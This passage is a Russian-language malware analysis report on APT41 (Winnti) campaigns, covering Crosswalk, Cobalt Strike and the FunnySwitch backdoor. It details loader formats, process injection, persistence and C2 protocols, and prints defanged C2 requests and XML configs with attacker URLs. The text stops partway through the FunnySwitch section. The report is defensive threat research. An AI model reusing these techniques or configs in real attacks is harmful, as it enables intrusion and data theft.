Positive Technologies
PT Expert Security Center

Higaisa или Winnti? Старые и новые бэкдоры APT41

Higaisa или Winnti? Старые и новые бэкдоры APT41

Специалисты PT Expert Security Center регулярно отслеживают появление новых угроз ИБ — как ранее известных, так и впервые обнаруженных вредоносных программ. Во время такого мониторинга в мае 2020 года было обнаружено несколько новых образцов ВПО, которое, на первый взгляд, следовало отнести к группе Higaisa. Однако подробный анализ привел нас к группе Winnti (также известной как APT41, по данным FireEye), происходящей из Китая, а дальнейший мониторинг ― к выявлению множества новых экземпляров ВПО, использованных группировкой в последних атаках. Среди них различные дропперы, загрузчики и инжекторы, образцы бэкдоров Crosswalk, ShadowPad, PlugX, а также образцы ранее не описанного бэкдора, названного нами FunnySwitch. Можно определенно говорить, что некоторые атаки были направлены на ряд организаций в России и Гонконге.

В этой статье мы расскажем о результатах исследования обнаруженных экземпляров и их сетевой инфраструктуры, а также о найденных пересечениях с ранее описанными атаками.

Содержание

  1. Ярлыки Higaisa
    1. Атрибуция
    2. Crosswalk
  2. Загрузчики и инжекторы
    1. Инжекторы
    2. Загрузчики локального шеллкода
    3. Примеры атак
      1. Зашифрованное резюме
      2. I can't breathe
      3. Запись чата
  3. Атаки на российских разработчиков игр
    1. Unity3D Game Developer from Saint Petersburg
    2. HFS с продолжением
  4. Похищенный сертификат
  5. FunnySwitch
    1. Распаковка
    2. Funny.dll
      1. Транспортные протоколы
      2. Протокол сетевого уровня
      3. Протокол прикладного уровня
      4. Поддерживаемые команды
      5. Неиспользуемый код
      6. FunnySwitch vs Crosswalk
  6. ShadowPad
  7. PlugX
    1. Paranoid PlugX
  8. Заключение
  9. Вердикты наших продуктов
    1. PT Sandbox
    2. PT Network Attack Discovery
  10. Приложения
    1. Выявленные имена файлов, из которых может загружаться PL-шеллкод
    2. IOCs
    3. MITRE

1. Ярлыки Higaisa

Первая атака была датирована 12 мая 2020. Использованный в ней вредоносный файл представляет собой архив с именем Project link and New copyright policy.rar (c3a45aaf6ba9f2a53d26a96406b6c34a56f364abe1dd54d55461b9cc5b9d9a04). Архив содержит документ-приманку в формате PDF (Zeplin Copyright Policy.pdf), а также папку All tort's projects - Web lnks с двумя ярлыками:

  • Conversations - iOS - Swipe Icons - Zeplin.lnk,
  • Tokbox icon - Odds and Ends - iOS - Zeplin.lnk.

Структура вредоносных ярлыков похожа на образец 20200308-sitrep-48-covid-19.pdf.lnk, который распространялся группой Higaisa в марте 2020.

Сравнение командных строк в ярлыках covid-19 и Zeplin
Рис. 1. Сравнение командных строк в ярлыках covid-19 и Zeplin

Механизм начального заражения принципиально не изменился ― при попытке открыть любой из ярлыков выполняется команда, которая извлекает из тела LNK-файла закодированный с помощью Base64 CAB-архив, который затем распаковывается во временную папку. Дальнейшие действия выполняются с помощью извлеченного JS-скрипта.

Содержимое скрипта 34fDFkfSD32.js
Рис. 2. Содержимое скрипта 34fDFkfSD32.js

На этом этапе сходство с описанным нами в отчете о Higaisa образцом заканчивается: скрипт копирует полезную нагрузку в папку C:\Users\Public\Downloads, закрепляется в системе с помощью добавления в папку автозагрузки и создания задачи в планировщике и запускает основную нагрузку. Помимо этого, скрипт отправляет вывод команды ipconfig с помощью POST-запроса на http://zeplin.atwebpages[.]com/inter.php.

Исполняемая ярлыком команда содержит также открытие извлеченного из архива URL-файла. Имя URL-файла и адрес, по которому происходит переход, зависит от открытого ярлыка:

  • Conversations - iOS - Swipe Icons - Zeplin.url отправляет на

    https://app.zeplin.io/project/5b5741802f3131c3a63057a4/screen/5b589f697e44cee37e0e61df;

  • Tokbox icon - Odds and Ends - iOS - Zeplin.url отправляет на

    https://app.zeplin.io/project/5c161c03fde4d550a251e20a/screen/5cef98986801a41be35122bb.

Это единственное различие между двумя LNK-файлами. В обоих случаях открываемая страница находится на легитимном сервисе Zeplin, предназначенном для совместной работы дизайнеров и разработчиков, и требует авторизации для просмотра.

Устанавливаемая полезная нагрузка состоит из двух файлов:

  • svchast.exe

    Представляет из себя простой локальный загрузчик шеллкода, расположенного по фиксированному пути. Прежде чем начать работу, загрузчик проверяет, что текущий год — 2018, 2019, 2020 или 2021.

    Функция main в svchast.exe
    Рис. 3. Функция main в svchast.exe
  • 3t54dE3r.tmp

    Шеллкод, содержащий основную полезную нагрузку — бэкдор Crosswalk.

30 мая 2020 был выявлен новый вредоносный объект — архив CV_Colliers.rar (df999d24bde96decdbb65287ca0986db98f73b4ed477e18c3ef100064bceba6d) с двумя ярлыками:

  • Curriculum Vitae_WANG LEI_Hong Kong Polytechnic University.pdf.lnk,
  • International English Language Testing System certificate.pdf.lnk.

Их структура полностью повторяла образцы от 12 мая. В качестве приманки в данном случае использовались PDF-документы, содержащие резюме и сертификат IELTS. Вывод команды ipconfig в зависимости от открытого ярлыка отправлялся на один из двух адресов: http://goodhk.azurewebsites[.]net/inter.php или http://sixindent.epizy[.]com/inter.php.

Стоит отметить, что все три промежуточных командных сервера находятся на бесплатном хостинге и домене третьего уровня. При обращении к ним в браузере отображаются различные заглушки:

Страница zeplin.atwebpages_com
Рис. 4. Страница zeplin.atwebpages_com
Страница goodhk.azurewebsites_net
Рис. 5. Страница goodhk.azurewebsites_net
Страница sixindent.epizy_com
Рис. 6. Страница sixindent.epizy_com

Эти серверы не играют значимой роли в работе ВПО, и их точное назначение остается неизвестным. Можно предположить, что таким образом авторы вредоносного кода отслеживали успешность начальных этапов заражения, либо пытались ввести специалистов по ИБ в заблуждение, маскируя образцы под несущественную угрозу.

1.1 Атрибуция

Данные атаки были подробно изучены нашими коллегами из Malwarebytes и Zscaler. Основываясь на схожести цепочек заражения, исследователи относят их к группе Higaisa.

Однако детальный анализ использованного шеллкода показал, что его образцы принадлежат к семейству ВПО Crosswalk. Это вредоносное ПО появилось не позднее 2017 года и было впервые упомянуто в отчете FireEye о деятельности группы APT41 (Winnti).

Фрагмент отчета FireEye
Рис. 7. Фрагмент отчета FireEye
Фрагмент шеллкода 3t54dE3r.tmp
Рис. 8. Фрагмент шеллкода 3t54dE3r.tmp

Исследование сетевой инфраструктуры образцов также позволяет найти пересечения с ранее известной инфраструктурой APT41: на IP-адресе одного из C2-серверов обнаруживается SSL-сертификат с SHA-1 b8cff709950cfa86665363d9553532db9922265c, который также встречается на IP-адресе 67.229.97[.]229, упомянутом в отчете CrowdStrike за 2018 год. Дальнейшее изучение позволяет выйти на некоторые домены из отчета Kaspersky от 2013 года.

Фрагмент сетевой инфраструктуры
Рис. 9. Фрагмент сетевой инфраструктуры

Все это приводит нас к выводу, что данные атаки на основе LNK-файлов проводились группой Winnti (APT41), которая позаимствовала у Higaisa технику использования ярлыков.

1.2 Crosswalk

Crosswalk представляет собой модульный бэкдор, реализованный в виде шеллкода. Его основной компонент отвечает за установку соединения с управляющим сервером, сбор и отправку информации о системе и имеет функциональность для установки и исполнения до 20 дополнительных модулей, принимаемых с сервера в виде шеллкода.

Собираемая информация включает в себя:

  • время работы ОС (uptime);
  • IP-адреса сетевых адаптеров;
  • MAC-адрес одного из адаптеров;
  • версию и разрядность операционной системы;
  • имя пользователя;
  • имя компьютера;
  • имя исполняемого модуля;
  • PID процесса;
  • версию и разрядность шеллкода.

Шеллкод имеет как 32-, так и 64-разрядные модификации. Его версии кодируются двумя числами, среди обнаруженных нами — 1.0, 1.10, 1.21, 1.22, 1.25, 2.0.

Более детальный анализ одной из версий Crosswalk изложен в исследовании VMWare CarbonBlack. Мы же на примере версии 1.25 (8e6945ae06dd849b9db0c2983bca82de1dddbf79afb371aa88da71c19c44c996), использованной в атаках с LNK-файлами, подробнее остановимся на сетевых особенностях ВПО.

Crosswalk имеет широкие возможности по соединению с управляющими серверами. Сетевая конфигурация конкретного экземпляра находится в конце шеллкода и зашифрована XOR с ключом длиной 16 байт. Данные имеют следующую структуру:

  • размер конфигурации (4 байта);
  • ключ (16 байт);
  • шифрованная конфигурация.

Конфигурация, в свою очередь, содержит в себе следующие поля:

  • 0x0 период отправки heartbeat-сообщений (в секундах);
  • 0x4 период переподключения (в секундах);
  • 0x8 битовая маска для дней недели, в которые разрешено подключение;
  • 0xC нижняя граница для часов, в который разрешено подключение (включительно);
  • 0x10 верхняя граница для часов, в которые разрешено подключение (невключительно);
  • 0x14 порт прокси-сервера;
  • 0x18 тип прокси-сервера;
  • 0x1C хост прокси-сервера;
  • 0x9C логин прокси-сервера;
  • 0x11C пароль прокси-сервера;
  • 0x19C количество контрольных серверов;
  • 0x1A0 массив структур контрольных серверов.

Структура контрольного сервера состоит из следующих полей:

  • 0x0 тип соединения;
  • 0x4 порт;
  • 0x8 флаг необходимости разрешения DNS-имени;
  • 0xC длина имени узла;
  • 0x10 имя узла.

Прежде чем начать попытки подключения, бэкдор проверяет, что текущие день недели и час соответствуют разрешенным в конфигурации. Затем последовательно перебираются комбинации из возможных прокси-серверов (используются как указанный в конфигурации, так и системные прокси) и контрольных серверов до тех пор, пока не произойдет успешной установки соединения.

Протокол общения бэкдора с контрольным сервером можно логически разделить на два уровня:

  1. протокол прикладного уровня;
  2. протокол транспортного уровня.

На прикладном уровне сообщения состоят из следующих полей:

  • Заголовок FakeTLS. Состоит из 5 байт:
    • Тип записи и версия протокола (3 байта). Для клиента всегда равны 17 03 01, для сервера имеют случайные значения.
    • Длина данных без учета заголовка (2 байта).
  • Содержимое сообщения:
    • Идентификатор команды (4 байта, little-endian).
    • Размер данных команды (4 байта, little-endian).
    • Идентификатор клиента (36 байт). Генерируется на основе UUID в начале работы бэкдора.
    • Данные команды.

Первые два сообщения «клиент — сервер» и «сервер — клиент» имеют идентификаторы команд 0x65 и 0x64 соответственно и содержат данные, на основе которых будут сгенерированы сессионные ключи клиента и сервера. Алгоритм генерации ключей подробно описан в отчете Zscaler. Для всех последующих сообщений, содержимое (без учета FakeTLS-заголовка) передается зашифрованным соответствующим сессионным ключом. В качестве алгоритма шифрования используется AES-128.

Протокол транспортного уровня зависит от типа соединения, указанного в конфигурации. Поддерживается четыре протокола:

  1. Стандартное соединение по TCP.

    Сообщения прикладного уровня передаются без изменений как TCP-сегменты.

  2. Аналог HTTP Long Polling.

    Клиент создает два TCP-соединения. Первое будет использоваться для получения пакетов с сервера, второе ― для отправки.

    • В первом соединении отправляется GET-запрос на контрольный сервер. Сервер отвечает заголовками с кодом 200 и Content-Length: 524288000. Дальнейший поток сообщений прикладного уровня в направлении «сервер — клиент» передается как тело HTTP-ответа.

      Первое HTTP-соединение с C2
      Рис. 10. Первое HTTP-соединение с C2
    • После получения корректных заголовков ответа устанавливается второе соединение на тот же порт, в котором выполняется POST-запрос. Заголовок dCy генерируется клиентом на основе UUID и, по всей видимости, является идентификатором сессии, связывающим два соединения. После получения ответа с кодом 200 дальнейшие сообщения «клиент — сервер» будут передаваться с помощью отдельных POST-запросов.

      Второе HTTP-соединение с C2
      Рис. 11. Второе HTTP-соединение с C2
  3. Перехват сокета с TLS-соединением.

    Клиент устанавливает TCP-соединение и отправляет HTTPS-запрос следующего вида:

    GET /msdn.cpp HTTP/1.1 Connection: Keep-Alive User-Agent: WinHTTP/1.1 Content-Length: 4294967295 Host: 149.28.152[.]196

    После этого HTTPS-соединение больше не используется, и дальнейший обмен сообщениями происходит в исходном TCP-соединении (без TLS-шифрования). Последующее общение между клиентом и сервером происходит по протоколу 1, за исключением того, что в начале сессии клиент отправляет два пакета с FakeTLS-заголовком, который начинается с последовательности 17 03 01. Первый из них всегда имеет длину 0, второй — длину 0x3A, 0x3C, 0x3E или 0x40 и содержит случайные байты. Назначение этих пакетов нам установить не удалось.

    Дополнительные пакеты с FakeTLS-заголовком
    Рис. 12. Дополнительные пакеты с FakeTLS-заголовком
  4. Протокол KCP.

    Данный протокол может быть реализован поверх любого другого протокола (в частности, UDP) и позволяет получить на его основе быструю и надежную передачу данных. Клиент Crosswalk использует KCP поверх TCP-соединения: к сообщениям прикладного уровня добавляются данные протокола KCP, которые затем отправляются как TCP-сегменты.

    Сообщение Crosswalk с заголовками KCP (выделены желтым)
    Рис. 13. Сообщение Crosswalk с заголовками KCP (выделены желтым)

Стоит отметить, что среди выявленных нами экземпляров Crosswalk мы не встретили ни одного образца, использующего протокол KCP на практике. Однако в коде присутствует полноценная реализация этого протокола, которая может быть задействована в других атаках ― для этого разработчикам достаточно указать нужный тип соединения в конфигурации.

Разнообразие используемых протоколов и техник, по всей видимости, позволяет бэкдору эффективно противодействовать средствам инспекции сетевого трафика.

2. Загрузчики и инжекторы

Исследование сетевой инфраструктуры и мониторинг новых образцов Crosswalk привели нас к выявлению других вредоносных объектов, содержащих в себе шеллкод Crosswalk в качестве основной нагрузки. Все эти объекты можно условно разделить на две группы ― загрузчики локального шеллкода и его инжекторы. В обоих группах часть образцов дополнительно обфусцирована с помощью VMProtect.

2.1 Инжекторы

Код внедрения шеллкода в запущенный процесс
Рис. 14. Код внедрения шеллкода в запущенный процесс

Инжекторы содержат в себе типичный код, который получает право SeDebugPrivilege, находит PID требуемого процесса и внедряет в него шеллкод. В качестве целевых процессов в разных экземплярах выступают explorer.exe и winlogon.exe.

Обнаруженные нами экземпляры содержат один из трех вариантов полезной нагрузки:

  • Crosswalk,
  • Metasploit stager,
  • FunnySwitch (будет рассмотрен ниже).

Шеллкод Crosswalk и FunnySwitch находится в секции данных «as is», в экземплярах с Metasploit применяется дополнительное шифрование с помощью XOR с ключом jj1.

2.2 Загрузчики локального шеллкода

Основная функция образцов из этой группы ― извлечение и исполнение шеллкода в текущем процессе. Среди них можно выделить две подгруппы в зависимости от источника шеллкода: он может находиться как в исходном исполняемом файле, так и во внешнем файле в той же директории.

Работа большинства загрузчиков начинается с проверки текущего года, напоминающей поведение образцов из атак с LNK-файлами.

Код главной функции загрузчика
Рис. 15. Код главной функции загрузчика

После нахождения требуемых API-функций происходит расшифровка строки Global\0EluZTRM3Kye4Hv65IGfoaX9sSP7VA с помощью алгоритма ChaCha20. В одной из более старых версий загрузчик для исключения повторного запуска создает мьютекс с именем Global\5hJ4YfUoyHlwVMnS1qZkd2tEmz7GPbB. Однако в актуальных экземплярах расшифрованная строка никак не используется — вероятно, в процессе развития часть кода была случайно удалена.

Еще одним артефактом, встречающимся в некоторых образцах, является неиспользуемая строка CSPELOADKISSYOU. Ее назначение остается неясным.

Строка CSPELOADKISSYOU в секции данных
Рис. 16. Строка CSPELOADKISSYOU в секции данных

В случае автономных загрузчиков шеллкод находится в overlay PE-файла. Интересной особенностью является специфический формат его хранения: данные начинаются с 0x60 байт заголовка, за которыми следует сам шеллкод в зашифрованном виде. Длина данных хранится по смещению -0x24 относительно конца исполняемого файла. Заголовок, в свою очередь, всегда начинается с сигнатуры PL. Остальные данные заголовка используются для дешифровки: по смещению 0x28 располагается 32-байтный ключ, по смещению 0x50 ― 12 байт nonce для алгоритма ChaCha20.

Работа с PL-шеллкодом в коде загрузчика (ChaCha20)
Рис. 17. Работа с PL-шеллкодом в коде загрузчика (ChaCha20)

Реализация ChaCha20 присутствует не всегда: часть экземпляров использует для шифрования Microsoft CryptoAPI с алгоритмом AES-128-CBC. Ключевая информация в этом случае также находится в структуре PL-шеллкода: по смещению 0x28 расположены 32 байта, которые хешируются с помощью MD5 для получения криптоключа.

Работа с PL-шеллкодом в коде загрузчика (AES-128)
Рис. 18. Работа с PL-шеллкодом в коде загрузчика (AES-128)

Более старые версии загрузчиков аналогичным образом используют Cryptography API: Next Generation (функции BCrypt*). В качестве алгоритма шифрования в них выступает AES-128 в режиме CFB.

Загрузчики, работающие с внешними файлами, имеют аналогичную структуру кода и два варианта шифрования ― ChaCha20 или AES-128-CBC. Файл должен содержать PL-шеллкод такого же формата, как и в случае автономного загрузчика. Его имя зависит от конкретного экземпляра и зашифровано используемым в нем алгоритмом. Оно может содержать как полный (таких образцов мы не выявили), так и относительный путь к файлу.

Построение имени файла с PL-шеллкодом
Рис. 19. Построение имени файла с PL-шеллкодом

Среди всех загрузчиков мы встретили три различных варианта шеллкода-нагрузки:

  • Crosswalk,
  • Metasploit stager,
  • Cobalt Strike Beacon.

2.3 Примеры атак

2.3.1 Зашифрованное резюме

Вредоносный файл представляет собой RAR-архив electronic_resume.pdf.rar (025e053e329f7e5e930cc5aa8492a76e6bc61d5769aa614ec66088943bf77596) с двумя файлами:

Содержимое архива electronic_resume.pdf.rar
Рис. 20. Содержимое архива electronic_resume.pdf.rar

Первый файл выглядит как приманка, но попытка его открыть в программе для просмотра PDF приведет к отображению ошибки, поскольку фактически он является копией второго.

Файл Электронный читатель резюме.exe является исполняемым и представляет собой автономный загрузчик PL-шеллкода. В качестве полезной нагрузки в нем используется Cobalt Strike Beacon.

Конфигурация Cobalt Strike Beacon
Рис. 21. Конфигурация Cobalt Strike Beacon

Архив распространялся ориентировочно 1 июня 2020 г. с IP-адреса 66.42.48[.]186 и был доступен по ссылке hxxp://66.42.48[.]186:65500/electronic_resume.pdf.rar. Тот же IP использовался в качестве контрольного сервера.

Время модификации файлов в архиве и дата обнаружения архива на сервере позволяют говорить о том, что данная атака была активна в конце мая ― начале июня. В свою очередь, имена файлов на русском языке показывают, что ее целью были русскоязычные пользователи.

2.3.2 I can't breathe

Атака практически идентична предыдущей: вредоносное ПО распространяется в RAR-архиве video.rar (fc5c9c93781fbbac25d185ec8f920170503ec1eddfc623d2285a05d05d5552dc) и состоит из двух файлов .exe. Архив доступен 1 июня на том же самом сервере по адресу hxxp://66.42.48[.]186:65500/video.rar.

Содержимое архива video.rar
Рис. 22. Содержимое архива video.rar

Исполняемые файлы являются автономными загрузчиками PL-шеллкода Cobalt Strike Beacon с аналогичной конфигурацией и тем же управляющим сервером.

Интересна тема, использованная в качестве приманки: хакеры эксплуатировали протесты в США, связанные с гибелью Джоржа Флойда. Основной приманкой являлось видео с названием «I can't breathe-America's Black Death protests that the riots continue to escalate and ignite America!.mp4» ― репортаж о ситуации вокруг протестов в последних числах мая. Источник видео, судя по логотипу ― австралийский портал XKb, выпускающий новости на китайском языке.

Кадр из видео-приманки
Рис. 23. Кадр из видео-приманки

2.3.3 Запись чата

Архив запись чата.7z (e0b675302efc8c94e94b400a67bc627889bfdebb4f4dffdd68fdbc61d4cd03ae) с тремя одинаковыми исполняемыми файлами, имеющими имена вида «запись чата-1.png____________________________________.exe», — атака вновь направлена на русскоговорящих пользователей.

Содержимое архива запись чата.7z
Рис. 24. Содержимое архива запись чата.7z

Вредоносные файлы представляют собой автономные загрузчики PL-шеллкода, однако в качестве него в данном случае выступает Crosswalk версии 2.0.

Его конфигурация предусматривает три варианта подключения к управляющему серверу 149.28.23[.]32:

  • транспортный протокол 3, порт 8443;

  • транспортный протокол 2, порт 80;

  • транспортный протокол 1, порт 8080.

Фрагмент конфигурации Crosswalk
Рис. 25. Фрагмент конфигурации Crosswalk

3. Атаки на российских разработчиков игр

Группа Winnti впервые стала известна благодаря своим атакам на разработчиков компьютерных игр. Подобные атаки продолжаются до сегодняшнего дня, а их целью становятся в том числе и российские компании.

3.1 Unity3D Game Developer from Saint Petersburg

Основа атаки — архив Resume.rar (4d3ad3ff281a144d9a0a8ae5680f13e201ce1a6ba70e53a74510f0e41ae6a9e6), содержащий единственный файл CV.chm.

Запуск файла на системе без установленных обновлений безопасности приводит к появлению сразу двух окон: открытию CHM-справки в программе HTML Help и PDF-документа. Содержащаяся в них информация дублируется и представляет собой резюме на должность разработчика игр или менеджера баз данных в компанию в Санкт-Петербурге.

Резюме содержит правдоподобную контактную информацию: адрес в Санкт-Петербурге, email на yandex.ru, телефон с кодом +7. Подделку выдает только контактный номер: 123-45-67.

Результат открытия CHM-файла
Рис. 26. Результат открытия CHM-файла

Открытие PDF-файла ― результат работы скрипта pass.js, который находится в CHM-файле и подключен на открываемую HTML-страницу.

Подключение pass.js в HTML-коде
Рис. 27. Подключение pass.js в HTML-коде

Скрипт использует технику, позволяющую выполнить в CHM-файле произвольную команду через объект ActiveX. С ее помощью выполняется распаковка файла HTML-справки в папку C:\Users\Public, откуда запускается следующая стадия заражения — файл resume.exe, который также содержится внутри CHM.

Деобфусцированный скрипт pass.js
Рис. 28. Деобфусцированный скрипт pass.js

resume.exe ― это продвинутый шеллкод-инжектор, который на момент написания этой статьи мы встретили в единственном экземпляре. Перед началом работы, как и во многих других образцах ВПО Winnti, выполняется проверка текущего года. Помимо этого, проверяются активные процессы: вредонос не будет работать при наличии запущенных процессов из списка ollydbg.exe|ProcessHacker.exe|Fiddler.exe|windbg.exe|tcpview.exe|idaq.exe|idaq64.exe|tcpdump.exe|Wireshark.exe.

При первом запуске в качестве источника шеллкода будет использован файл MyResume.pdf, при последующих ― winness.config.

Функция main в resume.exe
Рис. 29. Функция main в resume.exe

MyResume.pdf распаковывается из CHM-файла и является PDF-документом, в конец которого добавлены считываемые resume.exe данные. Если пользователь откроет его напрямую, то он увидит сообщение о том, что документ защищен паролем.

MyResume.pdf, открытый в Adobe Acrobat Reader
Рис. 30. MyResume.pdf, открытый в Adobe Acrobat Reader

Данные в сравнении с PL-шеллкодом имеют более сложную структуру и содержат следующее:

  • ROR-13-хеш данных, начиная с байта 0x24 (0x20, 4 байта),
  • nonce для алгоритма ChaCha20 (0x24, 12 байт),
  • данные, зашифрованные ChaCha20 (0x30):
    • имя PDF-файла (+0x0);
    • размер PDF-файла (+0x20);
    • размер вспомогательного шеллкода (+0x24);
    • размер основного шеллкода (+0x28);
    • константа 0xE839E900 (+0x2C);
    • PDF-файл;
    • вспомогательный шеллкод;
    • основной шеллкод.

При первом запуске resume.exe зашифрованная часть данных расшифровывается (ключ зашит в исполняемом файле), и из нее извлекаются три блока (PDF, вспомогательный и основной шеллкод). PDF-файл сохраняется во временной папке под именем вида _797918755_true.pdf и открывается для пользователя (см. второе окно, помимо HTML Help, на рис. 26).

resume.exe: действия при первом запуске
Рис. 31. resume.exe: действия при первом запуске

Полезная нагрузка запускается в новом процессе %windir%\System32\spoolsv.exe, в который внедряется основной шеллкод ― Cobalt Strike Beacon с C2 149.28.84[.]98.

Процесс его инжектирования заключается в создании секции с помощью вызова ZwCreateSection, получения доступа к ней из исходного и дочернего процессов через вызовы ZwMapViewOfSection, копирования шеллкода в секцию и помещения в точку входа spoolsv.exe прыжка на шеллкод.

Для дальнейшего закрепления в системе в папку %appdata%\Microsoft\AddIns\
копируется resume.exe (под именем winness.exe), а основной шеллкод перешифровывается и сохраняется туда же под именем winness.config. Для обеспечения автозапуска используется вспомогательный шеллкод, задача которого записать в папку автозагрузки файл svchost.bat, передающий управление на winness.exe. Чтобы максимально избежать детектирования на этом этапе, вспомогательный шеллкод аналогичным образом инжектируется в spoolsv.exe, самостоятельно загружает необходимые функции, а запись в файл выполняет в отдельном потоке.

При запуске winness.exe после перезагрузки основной шеллкод будет расшифрован из файла winness.config и точно так же внедрен в spoolsv.exe.

3.2 HFS с продолжением

HFS-сервер в инфраструктуре Winnti
Рис. 32. HFS-сервер в инфраструктуре Winnti

23 июня 2020, исследуя сетевую инфраструктуру Winnti, мы обнаружили на одном из управляющих серверов активный HttpFileServer. На нем в свободном доступе были размещены четыре изображения: иконка письма, скриншот из игры с русским текстом, скриншот сайта компании — разработчика игры, а также скриншот информации об уязвимости CVE-2020-0796 с сайта Microsoft.

13524222881554126454-128.png
Рис. 33. 13524222881554126454-128.png
EaVpPBNXgAE8s3r.jpg
Рис. 34. EaVpPBNXgAE8s3r.jpg
website_battlestategames.png
Рис. 35. website_battlestategames.png
windows_update.png
Рис. 36. windows_update.png

Скриншоты были связаны с компанией Battlestate Games из Санкт-Петербурга — разработчиком игры Escape from Tarkov.

Спустя почти два месяца, 20 августа 2020, на VirusTotal был загружен файл CV.pdf____________________________________________________________.exe (e886caba3fea000a7de8948c4de0f9b5857f0baef6cf905a2c53641dbbc0277c), который является автономным загрузчиком PL-шеллкода Cobalt Strike Beacon.

Интерес представляет его управляющий сервер: update.facebookdocs[.]com.

Мы обнаружили, что на основном домене facebookdocs[.]com была размещена копия официального сайта компании Battlestate Games: www.battlestategames.com. Через связаный с C2 IP-адрес 108.61.214[.]194 можно выйти на аналогичную страницу на фишинговом домене www.battllestategames[.]com (буква l удвоена).

Копия официального сайта Battlestate Games
Рис. 37. Копия официального сайта Battlestate Games

Подобные домены, использованные в качестве С2-серверов, дают атакующим возможность замаскировать трафик ВПО под легитимную активность изнутри компании.

Сочетание двух описанных находок позволяет нам предположить, что мы зафиксировали следы подготовки и дальнейшей успешной реализации атаки на Battlestate Games.

Более того, совпадение вакансии Unity3D-разработчика (со скриншота официального сайта) и содержания резюме из файла CV.chm (см. предыдущий раздел) с учетом близости по времени, а также расположения компании и соискателя в Санкт-Петербурге — все это дает возможность предположить наличие связи между этими атаками. Вероятно, атака с CHM-файлом была использована на начальном этапе проникновения в компанию ― однако надежных подтверждений этому у нас нет.

Техника использования доменов, имеющих минимальные отличия от оригинальных, в качестве управляющих серверов, характерна для Winnti и была описана в отчете Kaspersky.

По результатам исследования вся известная нам информация о предполагаемой атаке была передана в Battlestate Games.

4. Похищенный сертификат

Другая техника, постоянно используемая группой Winnti, ― похищение сертификатов подписи кода (Code Signing). Скомпрометированные сертификаты используются для подписи вредоносных файлов, используемых в последующих атаках.

Мы выявили один из таких сертификатов, принадлежащий тайваньской компании Zealot Digital:

Name: ZEALOT DIGITAL INTERNATIONAL CORPORATION Issuer: GlobalSign CodeSigning CA - SHA256 - G2 Valid From: 07:43 AM 08/20/2015 Valid To: 07:43 AM 09/19/2016 Valid Usage: Code Signing Algorithm: sha256RSA Thumbprint: 91e256ac753efe79927db468a5fa60cb8a835ba5 Serial Number: 112195a147c06211d2c4b82b627e3d07bf09

Подписанные им файлы преимущественно использовались в атаках на организации в Гонконге. Среди них — инжекторы Crosswalk и Metasploit, утилита juicy-potato, экземпляры FunnySwitch и ShadowPad.

5. FunnySwitch

Среди файлов, подписанных сертификатом Zealot Digital, мы обнаружили два экземпляра вредоносного ПО, содержащего ранее неизвестный бэкдор. Мы назвали его FunnySwitch ― по имени библиотеки и одного из ключевых классов. Бэкдор написан на .NET, имеет функциональность отправки сведений о системе и исполнения произвольного кода на JScript, поддерживает шесть различных видов соединения, включая возможность принимать входящие подключения. Одной из ключевых его особенностей является способность выступать в качестве маршрутизатора сообщений между разными экземплярами бэкдора и управляющим сервером.

5.1 Распаковка

Обнаруженная атака начинается с SFX-архива x32.exe (2063fae36db936de23eb728bcf3f8a5572f83645786c2a0a5529c71d8447a9af).

Содержимое архива x32.exe
Рис. 38. Содержимое архива x32.exe

Архив распаковывает в папку c:\programdata три файла: 1.vbs, n3.exe и p3.exe, после чего извлеченный VBS-скрипт запускает оба исполняемых файла.

Файлы n3.exe и p3.exe идентичны и являются инжекторами шеллкода в процесс explorer.exe. В них различаются лишь последние байты внедряемого шеллкода, в которых находится XML-конфигурация. В одном случае там дополнительно указан прокси-сервер 168.106.1[.]1:

<?xml version="1.0" encoding="utf-8"?> <Config Group="aa" Password="test" StartTime="0" EndTime="24" WeekDays="0,1,2,3,4,5,6"> <HttpConnector url="http://db311secsd.kasprsky[.]info/config/" proxy="http://168.106.1[.]1/" interval="30-60"/> </Config> <?xml version="1.0" encoding="utf-8"?> <Config Group="aa" Password="test" StartTime="0" EndTime="24" WeekDays="0,1,2,3,4,5,6"> <HttpConnector url="http://db311secsd.kasprsky[.]info/config/" interval="30-60"/> </Config>

В качестве домена C2 выступает поддомен kasprsky[.]info, db311secsd.kasprsky[.]info. Интересно, что несколько других его поддоменов упоминает в своем отчете ФБР. Он датирован 21 мая 2020 года и предупреждает об атаках на организации, связанные с исследованиями по COVID-19.

Задача шеллкода ― запустить на исполнение метод из .NET-сборки, которая расположена сразу после его кода. Для этого он получает ссылку на интерфейс ICorRuntimeHost, с его помощью запускает CLR и создает объект типа AppDomain. В созданный домен загружается содержимое сборки, после чего с помощью рефлексии запускается статический метод Funny.Core.Run(xml_config), которому передается XML-конфигурация.

Вызов метода из .NET-сборки
Рис. 39. Вызов метода из .NET-сборки

Загружаемая сборка представляет собой библиотеку Funny.dll, обфусцированную с помощью протектора ConfuserEx.

5.2 Funny.dll

Работа бэкдора начинается с разбора конфигурации. Ее корневой элемент может содержать следующие поля:

  • Debug ― флаг, включающий отладочное логирование;
  • Group ― произвольная строка, отправляемая вместе с информацией о системе;
  • Password ― ключ шифрования сообщений;
  • ID ― идентификатор маршрутизатора (при отсутствии в конфиге заменяется сгенерированным GUID);
  • StartTime, EndTime, WeekDays ― ограничения времени работы бэкдора по времени суток и дням недели.

Внутри элемента <Config> может содержаться произвольное число элементов, описывающих коннекторы разного типа:

  • TcpConnector, TcpBindConnector ― классы, отвечающие за соединение по TCP в качестве клиента и сервера.

    Имеют 2 общих параметра ― address и port (38001 по умолчанию). Для TcpConnector также настраивается параметр interval, указывающий время ожидания перед попыткой повторного подключения.

  • HttpConnector, HttpBindConnector ― HTTP-клиент с возможностью работы через прокси- и HTTP-сервер.

    Возможные параметры клиента: url ― адрес для подключения, interval ― то же, что и у TcpConnector, proxy и cred ― адрес и авторизационные данные прокси-сервера. Параметры сервера: url ― список префиксов, на которых он будет запущен, и timeout ― клиентский тайм-аут.

    В качестве реализаций клиента и сервера используются стандартные классы HttpWebRequest и HttpListener из .NET Framework. При этом поддерживается как HTTP-, так и HTTPS-протокол: если для порта, на котором запускается сервер, не сконфигурирован SSL-сертификат, то он будет выпущен с CN = Environment.MachineName + ".local.domain". Клиент, в свою очередь, игнорирует валидацию сертификата.

  • RPCConnector, RPCBindConnector ― классы, позволяющие организовать соединение через Named Pipe. Имеют единственный параметр ― name, имя создаваемого канала.

TcpBindConnector и HttpBindConnector поддерживают одновременное подключение нескольких клиентов.

Для работы сетевых коннекторов бэкдор добавляет разрешающие правила Windows Firewall с именем «Core Networking ― IPv4» для своего исполняемого модуля.

Код для добавления правил Windows Firewall
Рис. 40. Код для добавления правил Windows Firewall

